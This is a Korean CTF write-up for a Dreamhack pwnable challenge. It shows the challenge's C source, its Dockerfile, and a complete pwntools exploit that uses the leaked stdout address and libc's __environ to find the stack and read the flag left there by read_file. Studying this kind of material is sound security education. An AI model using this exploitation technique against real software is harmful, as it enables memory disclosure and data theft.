Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: __environ

seobangwool 2026. 4. 16. 22:55

기본적인 파트라 이번 6주차에 작게 끼워져있는 주제이다.
environ 변수를 활용해보자.

Dockerfile

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21

ENV user environ
ENV chall_port 7182

RUN apt-get update
RUN apt-get -y install socat

RUN adduser $user

ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user

RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user

environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}
Ubuntu 22.04

pwndbg> checksec
File:     /home/alex030905/pwnable/environ/environ
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

코드 분석

stdout 함수를 주면서 libc base 는 주어졌다.
그리고 read_file() 함수를 실행시켜놨기 때문에 스택 어디엔가 flag의 값이 남아있지 않을까란 생각이 들었다.

environ 변수로 저장된 값을 읽어와보자.

environ 변수는 현재 프로세스의 환경 변수 배열의 주소를 담고 있는데,
얘가 스택에 위치한다. 그러니까 environ 변수를 읽어서 스택 중 read_file 이 저장해둔 곳인 rcx를 읽어버리면 플래그가 나올 것이다.

 

image (44)

readfile 에서 파일을 읽는 부분에서 브레이크를 걸고 rcx와 environ 의 오프셋을 구했다.

바로 익스플로잇 코드를 짜보자.

 

익스플로잇 코드

from pwn import *

#p = process('./environ')
p = remote('host8.dreamhack.games', 23030)

libc = ELF('./libc.so.6')

p.recvuntil(b': ')

stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
libc_env = libc_base + libc.symbols['__environ']

print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_env))

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(libc_env).encode())

stack_environ = u64(p.recv(6).ljust(8, b'\x00'))
flag = stack_environ - 0x1568

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(flag).encode())

p.interactive()

 

image

답이 나왔다.